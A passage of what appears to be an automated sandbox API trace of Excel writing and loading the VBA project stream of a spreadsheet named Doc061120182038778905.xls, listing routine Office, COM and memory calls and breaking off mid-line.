CExposedDocFile::Stat () returned 0x0 [0284.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe5bac2c, cbMultiByte=-1, lpWideCharStr=0x23d3a0, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0284.859] CExposedDocFile::CreateStream () returned 0x0 [0284.859] CExposedDocFile::AddRef () returned 0x2 [0284.859] wsprintfA (in: param_1=0x23cc40, param_2="%s=\"" | out: param_1="ID=\"") returned 4 [0284.859] lstrcatA (in: lpString1="ID=\"", lpString2="{B7183084-D6F5-47FA-A5BE-AF211172626B}" | out: lpString1="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}" [0284.859] lstrcatA (in: lpString1="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}", lpString2="\"\r\n" | out: lpString1="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}\"\r\n") returned="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}\"\r\n" [0284.859] lstrlenA (lpString="ID=\"{B7183084-D6F5-47FA-A5BE-AF211172626B}\"\r\n") returned 45 [0284.859] wsprintfA (in: param_1=0x23c960, param_2="%s=" | out: param_1="Document=") returned 9 [0284.859] lstrlenA (lpString="Document=") returned 9 [0284.859] wsprintfA (in: param_1=0x23c975, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0284.859] lstrlenA (lpString="Document=ThisWorkbook/&H00000000\r\n") returned 34 [0284.859] wsprintfA (in: param_1=0x23c960, param_2="%s=" | out: param_1="Document=") returned 9 [0284.859] lstrlenA (lpString="Document=") returned 9 [0284.860] wsprintfA (in: param_1=0x23c96f, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13 [0284.860] lstrlenA (lpString="Document=Sheet1/&H00000000\r\n") returned 28 [0284.860] wsprintfA (in: param_1=0x23cc40, param_2="%s=\"" | out: param_1="Name=\"") returned 6 [0284.860] lstrlenA (lpString="Name=\"") returned 6 [0284.860] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0284.860] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0284.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=11, lpWideCharStr=0xbe66ec8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0284.860] lstrcatA (in: lpString1="VBAProject", lpString2="\"\r\n" | out: lpString1="VBAProject\"\r\n") returned="VBAProject\"\r\n" [0284.860] lstrlenA (lpString="Name=\"VBAProject\"\r\n") returned 19 [0284.860] wsprintfA (in: param_1=0x23cc40, param_2="%s=\"%d\"\r\n" | out: param_1="HelpContextID=\"0\"\r\n") returned 19 [0284.860] lstrlenA (lpString="HelpContextID=\"0\"\r\n") returned 19 [0284.860] wsprintfA (in: param_1=0x23cc40, param_2="%s=\"%u\"\r\n" | out: param_1="VersionCompatible32=\"393222000\"\r\n") returned 33 [0284.860] lstrlenA (lpString="VersionCompatible32=\"393222000\"\r\n") returned 33 [0284.860] wsprintfA (in: param_1=0x23c380, param_2="%s=\"" | out: param_1="CMG=\"") returned 5 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] lstrcatA (in: lpString1="CMG=\"", lpString2="6466B25872B876B876B876B876" | out: lpString1="CMG=\"6466B25872B876B876B876B876") returned="CMG=\"6466B25872B876B876B876B876" [0284.861] lstrcatA (in: lpString1="CMG=\"6466B25872B876B876B876B876", lpString2="\"\r\n" | out: lpString1="CMG=\"6466B25872B876B876B876B876\"\r\n") returned="CMG=\"6466B25872B876B876B876B876\"\r\n" [0284.861] lstrlenA (lpString="CMG=\"6466B25872B876B876B876B876\"\r\n") returned 34 [0284.861] wsprintfA (in: param_1=0x23c380, param_2="%s=\"" | out: param_1="DPB=\"") returned 5 [0284.861] lstrlenA (lpString="") returned 0 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0284.861] lstrcatA (in: lpString1="DPB=\"", lpString2="C8CA1EA11FA11FA1" | out: lpString1="DPB=\"C8CA1EA11FA11FA1") returned="DPB=\"C8CA1EA11FA11FA1" [0284.861] lstrcatA (in: lpString1="DPB=\"C8CA1EA11FA11FA1", lpString2="\"\r\n" | out: lpString1="DPB=\"C8CA1EA11FA11FA1\"\r\n") returned="DPB=\"C8CA1EA11FA11FA1\"\r\n" [0284.861] lstrlenA (lpString="DPB=\"C8CA1EA11FA11FA1\"\r\n") returned 24 [0284.861] wsprintfA (in: param_1=0x23c380, param_2="%s=\"" | out: param_1="GC=\"") returned 4 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] lstrlenA (lpString="{B7183084-D6F5-47FA-A5BE-AF211172626B}") returned 38 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] GetTickCount () returned 0x4c4e4 [0284.861] lstrcatA (in: lpString1="GC=\"", lpString2="2C2EFA603AC53BC53B3A" | out: lpString1="GC=\"2C2EFA603AC53BC53B3A") returned="GC=\"2C2EFA603AC53BC53B3A" [0284.861] lstrcatA (in: lpString1="GC=\"2C2EFA603AC53BC53B3A", lpString2="\"\r\n" | out: lpString1="GC=\"2C2EFA603AC53BC53B3A\"\r\n") returned="GC=\"2C2EFA603AC53BC53B3A\"\r\n" [0284.861] lstrlenA (lpString="GC=\"2C2EFA603AC53BC53B3A\"\r\n") returned 27 [0284.861] wsprintfA (in: param_1=0x23ca70, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Host Extender Info]\r\n") returned 24 [0284.862] lstrlenA (lpString="\r\n[Host Extender Info]\r\n") returned 24 [0284.862] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0284.862] wsprintfA (in: param_1=0xe5bad50, param_2="%s=%s\r\n" | out: param_1="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0284.862] lstrlenA (lpString="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66 [0284.862] wsprintfA (in: param_1=0x23ca70, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Workspace]\r\n") returned 15 [0284.862] lstrlenA (lpString="\r\n[Workspace]\r\n") returned 15 [0284.862] lstrlenA (lpString="46, 46, 1460, 694, Z") returned 20 [0284.862] wsprintfA (in: param_1=0xe5bad50, param_2="%s=%s\r\n" | out: param_1="ThisWorkbook=46, 46, 1460, 694, Z\r\n") returned 35 [0284.862] lstrlenA (lpString="ThisWorkbook=46, 46, 1460, 694, Z\r\n") returned 35 [0284.862] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0284.862] wsprintfA (in: param_1=0xe5bad50, param_2="%s=%s\r\n" | out: param_1="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0284.862] lstrlenA (lpString="Sheet1=0, 0, 0, 0, C\r\n") returned 22 [0284.862] CExposedStream::Commit () returned 0x0 [0284.906] CExposedStream::Release () returned 0x0 [0284.906] CExposedDocFile::Release () returned 0x1 [0285.062] CExposedDocFile::OpenStorage () returned 0x0 [0285.062] CExposedDocFile::AddRef () returned 0x2 [0285.062] CExposedDocFile::AddRef () returned 0x2 [0285.099] _wfullpath (in: _Buffer=0x249d90, _Path="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0285.100] _ultow_s (in: _Value=0x5dbeab7b, _Buffer=0x24993a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5dbeab7b") returned 0x0 [0285.100] wcsncpy_s (in: _Destination=0x2494c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0285.100] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0285.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x2493f0, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0285.100] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0285.100] wcsncpy_s (in: _Destination=0x249570, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0285.100] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0285.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x2494a0, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0285.100] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0285.100] wcsncpy_s (in: _Destination=0x249510, _SizeInWords=0x108, _Source="*\\Z045dbeab7b", _MaxCount=0x106 | out: _Destination="*\\Z045dbeab7b") returned 0x0 [0285.100] CharLowerBuffW (in: lpsz="*\\Z045dbeab7b", cchLength=0xd | out: lpsz="*\\z045dbeab7b") returned 0xd [0285.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045dbeab7b", cchWideChar=14, lpMultiByteStr=0x249440, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045dbeab7b", lpUsedDefaultChar=0x0) returned 14 [0285.100] wcscpy_s (in: _Destination=0xb5455f0, _SizeInWords=0xe, _Source="*\\Z045dbeab7b" | out: _Destination="*\\Z045dbeab7b") returned 0x0 [0285.100] wcsncpy_s (in: _Destination=0x249550, _SizeInWords=0x108, _Source="*\\Z045dbeab7b", _MaxCount=0x106 | out: _Destination="*\\Z045dbeab7b") returned 0x0 [0285.100] CharLowerBuffW (in: lpsz="*\\Z045dbeab7b", cchLength=0xd | out: lpsz="*\\z045dbeab7b") returned 0xd [0285.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045dbeab7b", cchWideChar=14, lpMultiByteStr=0x249480, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045dbeab7b", lpUsedDefaultChar=0x0) returned 14 [0285.100] wcsncpy_s (in: _Destination=0x249620, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0285.100] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0285.100] IMalloc:Alloc (This=0x7feffc15380, cb=0x122) returned 0xbad32b0 [0285.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xbad32b0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0285.100] IMalloc:Free (This=0x7feffc15380, pv=0xbad32b0) [0285.101] wcsncpy_s (in: _Destination=0x249620, _SizeInWords=0x108, _Source="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0x0 [0285.101] CharLowerBuffW (in: lpsz="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0285.101] IMalloc:Alloc (This=0x7feffc15380, cb=0x11c) returned 0xbad32b0 [0285.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbad32b0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0285.101] IMalloc:Free (This=0x7feffc15380, pv=0xbad32b0) [0285.101] wcsncpy_s (in: _Destination=0x249620, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0285.101] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0285.101] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0xb76fb90 [0285.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0xb76fb90, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0285.101] IMalloc:Free (This=0x7feffc15380, pv=0xb76fb90) [0285.101] wcsncpy_s (in: _Destination=0x249620, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0285.101] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0285.101] IMalloc:Alloc (This=0x7feffc15380, cb=0x12a) returned 0xbd12f80 [0285.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0xbd12f80, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0285.101] IMalloc:Free (This=0x7feffc15380, pv=0xbd12f80) [0285.101] wcscpy_s (in: _Destination=0x72cabe0, _SizeInWords=0x108, _Source="*\\Z045dbeab7b" | out: _Destination="*\\Z045dbeab7b") returned 0x0 [0285.101] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0285.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0285.101] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0285.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f3abf8, cbMultiByte=11, lpWideCharStr=0xbe66ec8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0285.102] lstrcatA (in: lpString1="VBAProject", lpString2=" (" | out: lpString1="VBAProject (") returned="VBAProject (" [0285.102] strncat_s (in: _Destination="VBAProject (", _SizeInBytes=0x187, _Source="Doc061120182038778905.xls", _MaxCount=0x28 | out: _Destination="VBAProject (Doc061120182038778905.xls") returned 0x0 [0285.102] lstrcatA (in: lpString1="VBAProject (Doc061120182038778905.xls", lpString2=")" | out: lpString1="VBAProject (Doc061120182038778905.xls)") returned="VBAProject (Doc061120182038778905.xls)" [0285.103] IMalloc:Free (This=0x7feffc15380, pv=0xbd2f780) [0285.103] IUnknown:Release (This=0xb825960) returned 0x6 [0285.103] IUnknown:Release (This=0xb824b50) returned 0x10 [0285.103] IUnknown:Release (This=0xb825f00) returned 0x4 [0285.103] IUnknown:Release (This=0xb8264a0) returned 0x2 [0285.103] GetCurrentProcess () returned 0xffffffffffffffff [0285.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687274, dwSize=0x44) returned 1 [0285.103] RtlLookupFunctionEntry (in: ControlPc=0xb687274, ImageBase=0x249498, HistoryTable=0x2494a0 | out: ImageBase=0x249498, HistoryTable=0x2494a0) returned 0xb6872c8 [0285.103] GetCurrentProcess () returned 0xffffffffffffffff [0285.103] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68737c, dwSize=0x4c) returned 1 [0285.103] RtlLookupFunctionEntry (in: ControlPc=0xb68737c, ImageBase=0x249498, HistoryTable=0x2494a0 | out: ImageBase=0x249498, HistoryTable=0x2494a0) returned 0xb6873d8 [0285.103] SetErrorMode (uMode=0x8001) returned 0x8001 [0285.103] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0285.103] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5ce0000 [0285.106] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00001acf) returned 1 [0285.106] SetErrorMode (uMode=0x8001) returned 0x8001 [0285.106] GetProcAddress (hModule=0x7fee5ce0000, lpProcName=0x258) returned 0x7fee5de4ee0 [0285.106] GetCurrentProcess () returned 0xffffffffffffffff [0285.106] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68746c, dwSize=0x43) returned 1 [0285.106] RtlLookupFunctionEntry (in: ControlPc=0xb68746c, ImageBase=0x249438, HistoryTable=0x249440 | out: ImageBase=0x249438, HistoryTable=0x249440) returned 0xb6874bc [0285.107] CExposedDocFile::Release () returned 0x1 [0285.107] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0285.107] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5ce0000 [0285.108] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00001ad0) returned 1 [0285.108] SetErrorMode (uMode=0x8001) returned 0x8001 [0285.109] GetProcAddress (hModule=0x7fee5ce0000, lpProcName=0x258) returned 0x7fee5de4ee0 [0285.109] GetCurrentProcess () returned 0xffffffffffffffff [0285.109] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68746c, dwSize=0x43) returned 1 [0285.109] RtlLookupFunctionEntry (in: ControlPc=0xb68746c, ImageBase=0x2493d8, HistoryTable=0x2493e0 | out: ImageBase=0x2493d8, HistoryTable=0x2493e0) returned 0xb6874bc [0285.110] IMalloc:Free (This=0x7feffc15380, pv=0xbccba00) [0285.110] IMalloc:Free (This=0x7feffc15380, pv=0xb95a320) [0285.110] IUnknown:AddRef (This=0xb902078) returned 0x3 [0285.110] ITypeInfo:RemoteGetTypeAttr (in: This=0xb902078, ppTypeAttr=0x249ea8, pDummy=0x6f9da90 | out: ppTypeAttr=0x249ea8, pDummy=0x6f9da90*=0x7) returned 0x0 [0285.110] ITypeInfo:LocalReleaseTypeAttr (This=0xb902078) returned 0x0 [0285.110] IUnknown:Release (This=0xb902078) returned 0x2 [0285.110] IMalloc:Free (This=0x7feffc15380, pv=0xb95a360) [0285.110] IMalloc:Free (This=0x7feffc15380, pv=0xb7f26b0) [0285.119] IMalloc:Free (This=0x7feffc15380, pv=0xb7fd600) [0285.121] GetCurrentThreadId () returned 0x8fc [0285.121] SetCursor (hCursor=0x10007) returned 0x10007 [0285.121] CExposedDocFile::Release () returned 0x0 [0285.121] CExposedDocFile::Release () returned 0x0 [0285.121] IMalloc:Free (This=0x7feffc15380, pv=0xbc45ff0) [0285.122] GetCurrentThreadId () returned 0x8fc [0285.122] GetCurrentThreadId () returned 0x8fc [0285.122] IUnknown:Release (This=0xb9f7180) returned 0x0 [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xbe2ca90) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4d0010) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4bf010) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4b8790) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4bb390) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4c2590) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb4c1e10) [0285.122] IMalloc:Free (This=0x7feffc15380, pv=0xb85c7d0) [0285.122] RtlLookupFunctionEntry (in: ControlPc=0x4d7d86c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb6888a4, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb68892c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687a6c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687b54, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687f0c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687ff4, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687cbc, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb687da4, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb688cec, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb688dd4, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb68815c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.122] RtlLookupFunctionEntry (in: ControlPc=0xb688244, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0x0 [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbe2c8e0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbd1fb40) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xb863000) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeada70) [0285.123] RtlLookupFunctionEntry (in: ControlPc=0xb68746c, ImageBase=0x249be0, HistoryTable=0x249c00 | out: ImageBase=0x249be0, HistoryTable=0x249c00) returned 0xb6874bc [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeaf450) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeae310) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeadec0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeaf000) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeae760) [0285.123] RtlLookupFunctionEntry (in: ControlPc=0xb687274, ImageBase=0x249c20, HistoryTable=0x249c40 | out: ImageBase=0x249c20, HistoryTable=0x249c40) returned 0xb6872c8 [0285.123] RtlLookupFunctionEntry (in: ControlPc=0xb68737c, ImageBase=0x249c20, HistoryTable=0x249c40 | out: ImageBase=0x249c20, HistoryTable=0x249c40) returned 0xb6873d8 [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbeaebb0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xb919bc0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xb8c21e0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xb8b97e0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdb9dd0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdb5fe0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdb2200) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdafb30) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdae390) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdad370) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdad2d0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdad140) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdad090) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdacf60) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0x7076ec0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbdaced0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbe540f0) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xb4c8c90) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0x742d860) [0285.123] IMalloc:Free (This=0x7feffc15380, pv=0xbd2f500) [0285.124] IMalloc:Free (This=0x7feffc15380, 